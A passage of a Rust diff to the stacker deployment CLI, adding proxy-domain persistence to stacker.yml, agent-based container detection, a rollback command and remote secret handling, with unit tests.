+        .chars()
+        .filter(|ch| ch.is_ascii_alphanumeric())
+        .collect()
+}
 
 /// Parse SSL mode string to `SslMode` enum.
 pub fn parse_ssl_mode(s: Option<&str>) -> SslMode {
     match s.map(|v| v.to_lowercase()).as_deref() {
-        Some("auto") => SslMode::Auto,
+        Some("auto") | Some("true") | Some("yes") | Some("on") | Some("1") => SslMode::Auto,
         Some("manual") => SslMode::Manual,
+        Some("off") | Some("false") | Some("no") | Some("0") => SslMode::Off,
         _ => SslMode::Off,
     }
 }
 
 /// Build a `DomainConfig` from CLI arguments.
-pub fn build_domain_config(domain: &str, upstream: Option<&str>, ssl: Option<&str>) -> DomainConfig {
+pub fn build_domain_config(
+    domain: &str,
+    upstream: Option<&str>,
+    ssl: Option<&str>,
+) -> DomainConfig {
     DomainConfig {
         domain: domain.to_string(),
         ssl: parse_ssl_mode(ssl),
@@ -28,40 +78,228 @@ pub fn build_domain_config(domain: &str, upstream: Option<&str>, ssl: Option<&st
     }
 }
 
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct ProxyConfigPersistence {
+    config_path: PathBuf,
+    backup_path: PathBuf,
+    changed: bool,
+}
+
+fn upsert_proxy_domain_config(
+    config: &mut StackerConfig,
+    proxy_type: ProxyType,
+    domain_config: DomainConfig,
+) -> bool {
+    let mut changed = false;
+
+    if config.proxy.proxy_type != proxy_type {
+        config.proxy.proxy_type = proxy_type;
+        changed = true;
+    }
+
+    if let Some(existing) = config
+        .proxy
+        .domains
+        .iter_mut()
+        .find(|entry| entry.domain.eq_ignore_ascii_case(&domain_config.domain))
+    {
+        if existing.ssl != domain_config.ssl || existing.upstream != domain_config.upstream {
+            existing.ssl = domain_config.ssl;
+            existing.upstream = domain_config.upstream;
+            changed = true;
+        }
+        return changed;
+    }
+
+    config.proxy.domains.push(domain_config);
+    true
+}
+
+fn persist_proxy_config_to_stacker_yml(
+    project_dir: &Path,
+    proxy_type: ProxyType,
+    domain_config: DomainConfig,
+) -> Result<Option<ProxyConfigPersistence>, CliError> {
+    let config_path = project_dir.join("stacker.yml");
+    if !config_path.exists() {
+        return Ok(None);
+    }
+
+    let mut config = StackerConfig::from_file_raw(&config_path)?;
+    let changed = upsert_proxy_domain_config(&mut config, proxy_type, domain_config);
+    let backup_path = PathBuf::from(format!("{}.bak", config_path.display()));
+
+    if !changed {
+        return Ok(Some(ProxyConfigPersistence {
+            config_path,
+            backup_path,
+            changed,
+        }));
+    }
+
+    let yaml = serde_yaml::to_string(&config)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
+    std::fs::copy(&config_path, &backup_path)?;
+    std::fs::write(&config_path, yaml)?;
+
+    Ok(Some(ProxyConfigPersistence {
+        config_path,
+        backup_path,
+        changed,
+    }))
+}
+
+fn print_proxy_config_persistence(result: Option<&ProxyConfigPersistence>) {
+    let Some(result) = result else {
+        eprintln!("⚠ No stacker.yml found; proxy config was not persisted locally.");
+        return;
+    };
+
+    if result.changed {
+        eprintln!("✓ Updated proxy config in {}", result.config_path.display());
+        eprintln!("  Backup written to {}", result.backup_path.display());
+    } else {
+        eprintln!(
+            "✓ Proxy config already up to date in {}",
+            result.config_path.display()
+        );
+    }
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ProxyUpstreamTarget {
+    pub app_code: String,
+    pub port: u16,
+}
+
+pub fn parse_proxy_upstream(upstream: &str) -> Result<ProxyUpstreamTarget, CliError> {
+    let upstream = upstream
+        .strip_prefix("http://")
+        .or_else(|| upstream.strip_prefix("https://"))
+        .unwrap_or(upstream);
+
+    if upstream.contains('/') {
+        return Err(CliError::ConfigValidation(format!(
+            "Invalid upstream '{}': paths are not supported; use host:port",
+            upstream
+        )));
+    }
+
+    let (host, port) = upstream.rsplit_once(':').ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Invalid upstream '{}': must match [http://]host:port format",
+            upstream
+        ))
+    })?;
+
+    if host.trim().is_empty() {
+        return Err(CliError::ConfigValidation(format!(
+            "Invalid upstream '{}': host is required",
+            upstream
+        )));
+    }
+
+    let port = port.parse::<u16>().map_err(|_| {
+        CliError::ConfigValidation(format!(
+            "Invalid upstream '{}': port must be between 1 and 65535",
+            upstream
+        ))
+    })?;
+
+    if port == 0 {
+        return Err(CliError::ConfigValidation(format!(
+            "Invalid upstream '{}': port must be between 1 and 65535",
+            upstream
+        )));
+    }
+
+    Ok(ProxyUpstreamTarget {
+        app_code: host.to_string(),
+        port,
+    })
+}
+
 /// Run proxy detection using a `ContainerRuntime` (DIP).
 pub fn run_detect(runtime: &dyn ContainerRuntime) -> Result<ProxyDetection, CliError> {
     detect_proxy(runtime)
 }
 
-/// `stacker proxy add <domain> [--upstream <host:port>] [--ssl auto|manual|off]`
+/// `stacker proxy add <domain> [--upstream <host:port>] [--ssl[=auto|manual|off]]`
 ///
 /// Adds a reverse-proxy entry for the given domain.
 pub struct ProxyAddCommand {
     pub domain: String,
     pub upstream: Option<String>,
     pub ssl: Option<String>,
+    pub force: bool,
+    pub json: bool,
+    pub deployment: Option<String>,
 }
 
 impl ProxyAddCommand {
-    pub fn new(domain: String, upstream: Option<String>, ssl: Option<String>) -> Self {
+    pub fn new(
+        domain: String,
+        upstream: Option<String>,
+        ssl: Option<String>,
+        force: bool,
+        json: bool,
+        deployment: Option<String>,
+    ) -> Self {
         Self {
             domain,
             upstream,
             ssl,
+            force,
+            json,
+            deployment,
         }
     }
 }
 
 impl CallableTrait for ProxyAddCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let config = build_domain_config(
-            &self.domain,
-            self.upstream.as_deref(),
-            self.ssl.as_deref(),
-        );
-        let block = generate_nginx_server_block(&config)?;
+        let project_dir = std::env::current_dir()?;
+        let domain_config =
+            build_domain_config(&self.domain, self.upstream.as_deref(), self.ssl.as_deref());
+        let use_agent = self.deployment.is_some() || is_cloud_or_remote(&project_dir);
+        if use_agent {
+            let upstream = self.upstream.as_deref().unwrap_or("app:8080");
+            let target = parse_proxy_upstream(upstream)?;
+            let ssl_enabled = parse_ssl_mode(self.ssl.as_deref()) != SslMode::Off;
+            let command = AgentConfigureProxyCommand::new(
+                target.app_code,
+                self.domain.clone(),
+                target.port,
+                ssl_enabled,
+                !ssl_enabled,
+                "create".to_string(),
+                self.force,
+                self.json,
+                self.deployment.clone(),
+            );
+            command.call()?;
+            let persistence = persist_proxy_config_to_stacker_yml(
+                &project_dir,
+                ProxyType::NginxProxyManager,
+                domain_config,
+            )?;
+            if !self.json {
+                print_proxy_config_persistence(persistence.as_ref());
+            }
+            return Ok(());
+        }
+
+        let block = generate_nginx_server_block(&domain_config)?;
+        let persistence =
+            persist_proxy_config_to_stacker_yml(&project_dir, ProxyType::Nginx, domain_config)?;
         println!("{}", block);
-        eprintln!("✓ Proxy entry generated for {}", self.domain);
+        if !self.json {
+            print_proxy_config_persistence(persistence.as_ref());
+        }
+        eprintln!(
+            "✓ Proxy config generated for {}; apply this nginx snippet to configure a local proxy",
+            self.domain
+        );
         Ok(())
     }
 }
@@ -95,19 +333,19 @@ fn is_cloud_or_remote(project_dir: &std::path::Path) -> bool {
 
     // 2. Check stacker.yml
     let config_path = project_dir.join("stacker.yml");
-    if let Ok(config_str) = std::fs::read_to_string(&config_path) {
-        if let Ok(config) = serde_yaml::from_str::<StackerConfig>(&config_str) {
-            if config.deploy.target == DeployTarget::Cloud {
-                return true;
-            }
-            if config.deploy.target == DeployTarget::Server {
+    if let Ok(config) = StackerConfig::from_file(&config_path)
+        .and_then(|config| config.with_resolved_deploy_target(None))
+    {
+        if config.deploy.target == DeployTarget::Cloud {
+            return true;
+        }
+        if config.deploy.target == DeployTarget::Server {
+            return true;
+        }
+        if let Some(cloud_cfg) = &config.deploy.cloud {
+            if cloud_cfg.orchestrator == CloudOrchestrator::Remote {
                 return true;
             }
-            if let Some(cloud_cfg) = &config.deploy.cloud {
-                if cloud_cfg.orchestrator == CloudOrchestrator::Remote {
-                    return true;
-                }
-            }
         }
     }
 
@@ -138,7 +376,9 @@ fn resolve_deployment_hash_for_proxy(
 
     let config_path = project_dir.join("stacker.yml");
     if config_path.exists() {
-        if let Ok(config) = StackerConfig::from_file(&config_path) {
+        if let Ok(config) = StackerConfig::from_file(&config_path)
+            .and_then(|config| config.with_resolved_deploy_target(None))
+        {
             if let Some(ref project_name) = config.project.identity {
                 let project = ctx.block_on(ctx.client.find_project_by_name(project_name))?;
                 if let Some(proj) = project {
@@ -191,8 +431,26 @@ impl CallableTrait for ProxyDetectCommand {
             let ctx = CliRuntime::new("proxy detect")?;
             let hash = resolve_deployment_hash_for_proxy(&self.deployment, &ctx)?;
 
-            let snapshot = ctx.block_on(ctx.client.agent_snapshot(&hash))?;
-            let detection = detect_proxy_from_snapshot(&snapshot);
+            // Use a live list_containers command — the snapshot's containers
+            // field is not populated for cloud deployments.
+            const DETECT_TIMEOUT: u64 = 30;
+            let params = crate::forms::status_panel::ListContainersCommandRequest {
+                include_health: true,
+                include_logs: false,
+                log_lines: 0,
+            };
+            let request = AgentEnqueueRequest::new(&hash, "list_containers")
+                .with_parameters(&params)
+                .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
+            let info = run_agent_command(&ctx, &request, "Scanning containers", DETECT_TIMEOUT)?;
+            let containers = info
+                .result
+                .as_ref()
+                .and_then(|r| r.get("containers").and_then(|v| v.as_array()))
+                .cloned()
+                .unwrap_or_default();
+            let fake_snapshot = serde_json::json!({ "containers": containers });
+            let detection = detect_proxy_from_snapshot(&fake_snapshot);
             print_detection(&detection, self.json);
         } else {
             let runtime = DockerCliRuntime;
@@ -209,7 +467,7 @@ impl CallableTrait for ProxyDetectCommand {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::cli::config_parser::ProxyType;
+    use crate::cli::config_parser::{ConfigBuilder, ProxyConfig};
     use crate::cli::proxy_manager::ContainerInfo;
 
     struct MockRuntime {
@@ -225,16 +483,43 @@ mod tests {
         }
     }
 
+    #[test]
+    fn proxy_provider_aliases_resolve_to_nginx_proxy_manager() {
+        for alias in [
+            "npm",
+            "nginx-proxy-manager",
+            "nginx_proxy_manager",
+            "Nginx Proxy Manager",
+        ] {
+            assert_eq!(
+                ProxyProviderKind::from_alias(alias),
+                Some(ProxyProviderKind::NginxProxyManager)
+            );
+        }
+        assert_eq!(ProxyProviderKind::from_alias("traefik"), None);
+    }
+
+    #[test]
+    fn nginx_proxy_manager_metadata_uses_stack_service_defaults() {
+        let metadata = ProxyProviderKind::NginxProxyManager.metadata();
+
+        assert_eq!(metadata.service_catalog_name, "nginx_proxy_manager");
+        assert_eq!(metadata.internal_api_url, "http://nginx-proxy-manager:81");
+        assert_eq!(metadata.canonical_name, "nginx-proxy-manager");
+    }
+
     #[test]
     fn test_parse_ssl_mode_auto() {
         assert_eq!(parse_ssl_mode(Some("auto")), SslMode::Auto);
         assert_eq!(parse_ssl_mode(Some("AUTO")), SslMode::Auto);
+        assert_eq!(parse_ssl_mode(Some("true")), SslMode::Auto);
     }
 
     #[test]
     fn test_parse_ssl_mode_defaults_to_off() {
         assert_eq!(parse_ssl_mode(None), SslMode::Off);
         assert_eq!(parse_ssl_mode(Some("unknown")), SslMode::Off);
+        assert_eq!(parse_ssl_mode(Some("false")), SslMode::Off);
     }
 
     #[test]
@@ -252,6 +537,149 @@ mod tests {
         assert_eq!(cfg.ssl, SslMode::Auto);
     }
 
+    #[test]
+    fn upsert_proxy_domain_config_sets_type_and_adds_domain() {
+        let mut config = ConfigBuilder::new().name("demo").build().unwrap();
+        let changed = upsert_proxy_domain_config(
+            &mut config,
+            ProxyType::NginxProxyManager,
+            build_domain_config("example.com", Some("app:3000"), Some("auto")),
+        );
+
+        assert!(changed);
+        assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager);
+        assert_eq!(config.proxy.domains.len(), 1);
+        assert_eq!(config.proxy.domains[0].domain, "example.com");
+        assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto);
+        assert_eq!(config.proxy.domains[0].upstream, "app:3000");
+    }
+
+    #[test]
+    fn upsert_proxy_domain_config_updates_existing_domain_without_duplicate() {
+        let mut config = ConfigBuilder::new()
+            .name("demo")
+            .proxy(ProxyConfig {
+                proxy_type: ProxyType::None,
+                auto_detect: false,
+                domains: vec![build_domain_config(
+                    "Example.com",
+                    Some("app:3000"),
+                    Some("off"),
+                )],
+                config: None,
+            })
+            .build()
+            .unwrap();
+
+        let changed = upsert_proxy_domain_config(
+            &mut config,
+            ProxyType::NginxProxyManager,
+            build_domain_config("example.com", Some("web:8080"), Some("auto")),
+        );
+
+        assert!(changed);
+        assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager);
+        assert_eq!(config.proxy.domains.len(), 1);
+        assert_eq!(config.proxy.domains[0].domain, "Example.com");
+        assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto);
+        assert_eq!(config.proxy.domains[0].upstream, "web:8080");
+    }
+
+    #[test]
+    fn persist_proxy_config_to_stacker_yml_writes_backup_and_preserves_env_placeholders() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            "name: demo\napp:\n  type: node\n  image: ${APP_IMAGE}\nproxy:\n  type: none\n  domains: []\n",
+        )
+        .unwrap();
+
+        let result = persist_proxy_config_to_stacker_yml(
+            dir.path(),
+            ProxyType::NginxProxyManager,
+            build_domain_config(
+                "status.example.com",
+                Some("status-panel-web:3000"),
+                Some("auto"),
+            ),
+        )
+        .unwrap()
+        .expect("stacker.yml exists");
+
+        assert!(result.changed);
+        assert!(result.backup_path.exists());
+
+        let written = std::fs::read_to_string(&config_path).unwrap();
+        assert!(written.contains("${APP_IMAGE}"));
+
+        let config = StackerConfig::from_file_raw(&config_path).unwrap();
+        assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager);
+        assert_eq!(config.proxy.domains.len(), 1);
+        assert_eq!(config.proxy.domains[0].domain, "status.example.com");
+        assert_eq!(config.proxy.domains[0].upstream, "status-panel-web:3000");
+        assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto);
+    }
+
+    #[test]
+    fn given_stacker_proxy_add_when_config_is_persisted_then_stacker_yml_reflects_proxy_state() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            r#"
+name: web
+services:
+  - name: status-panel-web
+    image: trydirect/status-panel-web:0.1.0
+proxy:
+  type: none
+  auto_detect: false
+  domains: []
+"#,
+        )
+        .unwrap();
+
+        let result = persist_proxy_config_to_stacker_yml(
+            dir.path(),
+            ProxyType::NginxProxyManager,
+            build_domain_config(
+                "status.stacker.my",
+                Some("status-panel-web:3000"),
+                Some("auto"),
+            ),
+        )
+        .unwrap()
+        .expect("stacker.yml exists");
+
+        assert!(result.changed);
+        assert!(result.backup_path.exists());
+
+        let config = StackerConfig::from_file_raw(&config_path).unwrap();
+        assert_eq!(config.proxy.proxy_type, ProxyType::NginxProxyManager);
+        assert_eq!(config.proxy.domains.len(), 1);
+        assert_eq!(config.proxy.domains[0].domain, "status.stacker.my");
+        assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto);
+        assert_eq!(config.proxy.domains[0].upstream, "status-panel-web:3000");
+        assert!(config
+            .services
+            .iter()
+            .all(|service| service.name != "nginx_proxy_manager"));
+    }
+
+    #[test]
+    fn test_parse_proxy_upstream_strips_scheme() {
+        let target = parse_proxy_upstream("http://coolify:80").unwrap();
+        assert_eq!(target.app_code, "coolify");
+        assert_eq!(target.port, 80);
+    }
+
+    #[test]
+    fn test_parse_proxy_upstream_rejects_paths() {
+        let err = parse_proxy_upstream("http://coolify:80/admin").unwrap_err();
+        assert!(err.to_string().contains("paths are not supported"));
+    }
+
     #[test]
     fn test_detect_returns_none_for_empty_containers() {
         let runtime = MockRuntime { containers: vec![] };
diff --git a/src/console/commands/cli/resolve.rs b/src/console/commands/cli/resolve.rs
index 6e3c93a6..58b6d9ca 100644
--- a/src/console/commands/cli/resolve.rs
+++ b/src/console/commands/cli/resolve.rs
@@ -1,7 +1,6 @@
 use crate::cli::config_parser::{DeployTarget, StackerConfig};
-use crate::cli::credentials::CredentialsManager;
 use crate::cli::error::CliError;
-use crate::cli::stacker_client::{self, StackerClient};
+use crate::cli::runtime::CliRuntime;
 use crate::console::commands::CallableTrait;
 
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
@@ -19,7 +18,11 @@ pub struct ResolveCommand {
 
 impl ResolveCommand {
     pub fn new(confirm: bool, force: bool, deployment: Option<String>) -> Self {
-        Self { confirm, force, deployment }
+        Self {
+            confirm,
+            force,
+            deployment,
+        }
     }
 }
 
@@ -42,10 +45,9 @@ impl CallableTrait for ResolveCommand {
             )));
         }
 
-        let config_str = std::fs::read_to_string(&config_path)?;
-        let config: StackerConfig = serde_yaml::from_str(&config_str).map_err(|e| {
-            CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e))
-        })?;
+        let config = StackerConfig::from_file(&config_path)?
+            .with_resolved_deploy_target(None)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
 
         let project_name = config
             .project
@@ -53,25 +55,18 @@ impl CallableTrait for ResolveCommand {
             .clone()
             .unwrap_or_else(|| config.name.clone());
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("resolve")?;
-
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::DeployFailed {
-                target: DeployTarget::Cloud,
-                reason: format!("Failed to initialize async runtime: {}", e),
-            })?;
+        let ctx = CliRuntime::new("resolve").map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Cloud,
+            reason: e.to_string(),
+        })?;
 
-        rt.block_on(async move {
-            let client = StackerClient::new(&base_url, &creds.access_token);
+        let deployment = self.deployment.clone();
+        let force = self.force;
 
+        ctx.block_on(async {
             // Resolve the target deployment — by hash or by latest in project
-            let info = if let Some(ref hash) = self.deployment {
-                client
+            let info = if let Some(ref hash) = deployment {
+                ctx.client
                     .get_deployment_by_hash(hash)
                     .await?
                     .ok_or_else(|| CliError::DeployFailed {
@@ -80,13 +75,13 @@ impl CallableTrait for ResolveCommand {
                     })?
             } else {
                 // Find project first, then get its latest deployment
-                let project = client.find_project_by_name(&project_name).await?;
+                let project = ctx.client.find_project_by_name(&project_name).await?;
                 let project = project.ok_or_else(|| CliError::DeployFailed {
                     target: DeployTarget::Cloud,
                     reason: format!("Project '{}' not found on server.", project_name),
                 })?;
 
-                client
+                ctx.client
                     .get_deployment_status_by_project(project.id)
                     .await?
                     .ok_or_else(|| CliError::DeployFailed {
@@ -96,7 +91,7 @@ impl CallableTrait for ResolveCommand {
             };
 
             let allowed = ["paused", "error"];
-            if !self.force && !allowed.contains(&info.status.as_str()) {
+            if !force && !allowed.contains(&info.status.as_str()) {
                 return Err(CliError::DeployFailed {
                     target: DeployTarget::Cloud,
                     reason: format!(
@@ -111,10 +106,13 @@ impl CallableTrait for ResolveCommand {
                 info.id,
                 info.deployment_hash,
                 info.status,
-                if self.force { " [forced]" } else { "" },
+                if force { " [forced]" } else { "" },
             );
 
-            let updated = client.force_complete_deployment(info.id, self.force).await?;
+            let updated = ctx
+                .client
+                .force_complete_deployment(info.id, force)
+                .await?;
 
             eprintln!(
                 "✓ Deployment #{} status changed to '{}'",
diff --git a/src/console/commands/cli/rollback.rs b/src/console/commands/cli/rollback.rs
new file mode 100644
index 00000000..0beb3e19
--- /dev/null
+++ b/src/console/commands/cli/rollback.rs
@@ -0,0 +1,112 @@
+use crate::cli::config_parser::{DeployTarget, StackerConfig};
+use crate::cli::credentials::{CredentialsManager, StoredCredentials};
+use crate::cli::error::CliError;
+use crate::cli::install_runner::normalize_stacker_server_url;
+use crate::cli::stacker_client::{self, StackerClient};
+use crate::console::commands::CallableTrait;
+
+const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
+
+/// `stacker rollback --version <VERSION> --confirm`
+///
+/// Requests a safe marketplace rollback to a known template version.
+pub struct RollbackCommand {
+    pub version: String,
+    pub confirm: bool,
+}
+
+impl RollbackCommand {
+    pub fn new(version: String, confirm: bool) -> Self {
+        Self { version, confirm }
+    }
+}
+
+fn resolve_project_name(config: &StackerConfig) -> String {
+    config
+        .project
+        .identity
+        .clone()
+        .unwrap_or_else(|| config.name.clone())
+}
+
+fn resolve_stacker_base_url(creds: &StoredCredentials) -> String {
+    creds
+        .server_url
+        .as_deref()
+        .map(normalize_stacker_server_url)
+        .unwrap_or_else(|| stacker_client::DEFAULT_STACKER_URL.to_string())
+}
+
+impl CallableTrait for RollbackCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        if !self.confirm {
+            return Err(Box::new(CliError::ConfigValidation(
+                "Rollback requires --confirm (-y) flag. This will redeploy the selected marketplace version."
+                    .to_string(),
+            )));
+        }
+
+        let project_dir = std::env::current_dir()?;
+        let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+
+        if !config_path.exists() {
+            return Err(Box::new(CliError::ConfigValidation(
+                "No stacker.yml found. Run 'stacker init' first.".to_string(),
+            )));
+        }
+
+        let config = StackerConfig::from_file(&config_path)?
+            .with_resolved_deploy_target(None)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+
+        let project_name = resolve_project_name(&config);
+
+        let cred_manager = CredentialsManager::with_default_store();
+        let creds = cred_manager.require_valid_token("rollback")?;
+        let base_url = resolve_stacker_base_url(&creds);
+        let version = self.version.clone();
+
+        let rt = tokio::runtime::Builder::new_current_thread()
+            .enable_all()
+            .build()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Cloud,
+                reason: format!("Failed to initialize async runtime: {}", e),
+            })?;
+
+        rt.block_on(async move {
+            let client = StackerClient::new(&base_url, &creds.access_token);
+            let project = client.find_project_by_name(&project_name).await?;
+            let project = project.ok_or_else(|| CliError::DeployFailed {
+                target: DeployTarget::Cloud,
+                reason: format!("Project '{}' not found on server.", project_name),
+            })?;
+
+            eprintln!(
+                "Rolling back project '{}' to version '{}'...",
+                project_name, version
+            );
+            let response = client.rollback_project(project.id, &version).await?;
+
+            if let Some(meta) = response.meta {
+                if let Some(deployment_id) =
+                    meta.get("deployment_id").and_then(|value| value.as_i64())
+                {
+                    eprintln!(
+                        "✓ Rollback requested for project '{}' to version '{}' (deployment #{})",
+                        project_name, version, deployment_id
+                    );
+                    return Ok::<(), CliError>(());
+                }
+            }
+
+            eprintln!(
+                "✓ Rollback requested for project '{}' to version '{}'",
+                project_name, version
+            );
+            Ok::<(), CliError>(())
+        })?;
+
+        Ok(())
+    }
+}
diff --git a/src/console/commands/cli/secrets.rs b/src/console/commands/cli/secrets.rs
index 00a27c43..cb3646ad 100644
--- a/src/console/commands/cli/secrets.rs
+++ b/src/console/commands/cli/secrets.rs
@@ -11,14 +11,173 @@
 //! stacker secrets validate        [--file stacker.yml]
 //! ```
 
+use std::fmt;
+use std::io::{self, IsTerminal, Read};
 use std::path::{Path, PathBuf};
 
+use crate::cli::config_parser::{ServiceDefinition, StackerConfig};
+use crate::cli::deployment_lock::DeploymentLock;
 use crate::cli::error::CliError;
+use crate::cli::runtime::CliRuntime;
+use crate::cli::stacker_client::{
+    ProjectAppInfo, ProjectAppRegistrationRequest, ProjectInfo, RemoteSecretMetadataInfo,
+};
+use crate::console::commands::cli::agent::AgentDeployAppCommand;
 use crate::console::commands::CallableTrait;
+use clap::ValueEnum;
 
 const DEFAULT_ENV_FILE: &str = ".env";
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq, ValueEnum)]
+pub enum RemoteSecretScope {
+    Service,
+    Server,
+}
+
+#[derive(Clone, Debug, PartialEq, Eq)]
+struct RemoteSecretTarget {
+    scope: RemoteSecretScope,
+    project: Option<String>,
+    service: Option<String>,
+    server_id: Option<i32>,
+}
+
+impl RemoteSecretTarget {
+    fn new(
+        scope: RemoteSecretScope,
+        project: Option<String>,
+        service: Option<String>,
+        server_id: Option<i32>,
+    ) -> Self {
+        Self {
+            scope,
+            project,
+            service,
+            server_id,
+        }
+    }
+
+    fn validate(&self) -> Result<(), CliError> {
+        match self.scope {
+            RemoteSecretScope::Service => {
+                if self.service.as_deref().unwrap_or_default().is_empty() {
+                    return Err(CliError::ConfigValidation(
+                        "Service-scoped secrets require --service".to_string(),
+                    ));
+                }
+                if self.server_id.is_some() {
+                    return Err(CliError::ConfigValidation(
+                        "Service-scoped secrets do not accept --server-id".to_string(),
+                    ));
+                }
+            }
+            RemoteSecretScope::Server => {
+                if self.project.is_some() || self.service.is_some() {
+                    return Err(CliError::ConfigValidation(
+                        "Server-scoped secrets do not accept --project or --service".to_string(),
+                    ));
+                }
+            }
+        }
+
+        Ok(())
+    }
+
+    fn project_ref(&self) -> Option<&str> {
+        self.project.as_deref()
+    }
+
+    fn service_code(&self) -> Option<&str> {
+        self.service.as_deref()
+    }
+
+    fn server_id(&self) -> Option<i32> {
+        self.server_id
+    }
+}
+
+#[derive(Clone, PartialEq, Eq)]
+struct RemoteSecretWriteOptions {
+    name: String,
+    target: RemoteSecretTarget,
+    body: Option<String>,
+    body_file: Option<String>,
+}
+
+impl fmt::Debug for RemoteSecretWriteOptions {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        f.debug_struct("RemoteSecretWriteOptions")
+            .field("name", &self.name)
+            .field("target", &self.target)
+            .field("body", &self.body.as_ref().map(|_| "[REDACTED]"))
+            .field("body_file", &self.body_file)
+            .finish()
+    }
+}
+
+impl RemoteSecretWriteOptions {
+    fn validate(&self) -> Result<(), CliError> {
+        validate_secret_name(&self.name)?;
+        self.target.validate()?;
+        Ok(())
+    }
+}
+
+#[derive(Clone, Debug, PartialEq, Eq)]
+struct RemoteSecretReadOptions {
+    name: String,
+    target: RemoteSecretTarget,
+    json: bool,
+}
+
+impl RemoteSecretReadOptions {
+    fn validate(&self) -> Result<(), CliError> {
+        validate_secret_name(&self.name)?;
+        self.target.validate()?;
+        Ok(())
+    }
+}
+
+#[derive(Clone, Debug, PartialEq, Eq)]
+struct RemoteSecretListOptions {
+    target: RemoteSecretTarget,
+    json: bool,
+}
+
+impl RemoteSecretListOptions {
+    fn validate(&self) -> Result<(), CliError> {
+        self.target.validate()
+    }
+}
+
+#[derive(Clone, Debug, PartialEq, Eq)]
+struct RemoteSecretPushOptions {
+    target: RemoteSecretTarget,
+    force: bool,
+    json: bool,
+    deployment: Option<String>,
+    environment: Option<String>,
+}
+
+impl RemoteSecretPushOptions {
+    fn validate(&self) -> Result<(), CliError> {
+        self.target.validate()
+    }
+}
+
+fn validate_secret_name(name: &str) -> Result<(), CliError> {
+    let valid_key = regex::Regex::new(r"^[A-Za-z_][A-Za-z0-9_]*$").unwrap();
+    if valid_key.is_match(name) {
+        Ok(())
+    } else {
+        Err(CliError::ConfigValidation(format!(
+            "Invalid key '{}': must match [A-Za-z_][A-Za-z0-9_]*",
+            name
+        )))
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Shared helpers
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -79,9 +238,10 @@ fn validate_env_path(p: &str) -> Result<PathBuf, CliError> {
     let path = Path::new(p);
     for component in path.components() {
         if let std::path::Component::ParentDir = component {
-            return Err(CliError::ConfigValidation(
-                format!("Path traversal ('..') is not allowed for --file: {}", p),
-            ));
+            return Err(CliError::ConfigValidation(format!(
+                "Path traversal ('..') is not allowed for --file: {}",
+                p
+            )));
         }
     }
     Ok(PathBuf::from(p))
@@ -96,7 +256,10 @@ fn resolve_env_path(explicit: Option<&str>) -> Result<PathBuf, CliError> {
         for line in content.lines() {
             let trimmed = line.trim();
             if trimmed.starts_with("env_file:") {
-                let val = trimmed["env_file:".len()..].trim().trim_matches('"').trim_matches('\'');
+                let val = trimmed["env_file:".len()..]
+                    .trim()
+                    .trim_matches('"')
+                    .trim_matches('\'');
                 if !val.is_empty() {
                     return validate_env_path(val);
                 }
@@ -106,41 +269,486 @@ fn resolve_env_path(explicit: Option<&str>) -> Result<PathBuf, CliError> {
     Ok(PathBuf::from(DEFAULT_ENV_FILE))
 }
 
+fn load_project_identity_from_config(path: &Path) -> Result<Option<String>, CliError> {
+    if !path.exists() {
+        return Ok(None);
+    }
+
+    let config = StackerConfig::from_file_raw(path)?;
+    Ok(config
+        .project
+        .identity
+        .map(|value| value.trim().to_string())
+        .filter(|value| !value.is_empty()))
+}
+
+fn resolve_service_project_reference(explicit: Option<&str>) -> Result<String, CliError> {
+    resolve_service_project_reference_with_config(explicit, Path::new(DEFAULT_CONFIG_FILE))
+}
+
+fn resolve_service_project_reference_with_config(
+    explicit: Option<&str>,
+    config_path: &Path,
+) -> Result<String, CliError> {
+    if let Some(project) = explicit.map(str::trim).filter(|value| !value.is_empty()) {
+        return Ok(project.to_string());
+    }
+
+    if let Some(project) = load_project_identity_from_config(config_path)? {
+        return Ok(project);
+    }
+
+    Err(CliError::ConfigValidation(
+        "Service-scoped secrets require --project, or set project.identity in stacker.yml."
+            .to_string(),
+    ))
+}
+
+fn resolve_remote_secret_value(options: &RemoteSecretWriteOptions) -> Result<String, CliError> {
+    if let Some(body) = &options.body {
+        return Ok(body.clone());
+    }
+
+    if let Some(body_file) = &options.body_file {
+        return std::fs::read_to_string(body_file).map_err(CliError::from);
+    }
+
+    if !io::stdin().is_terminal() {
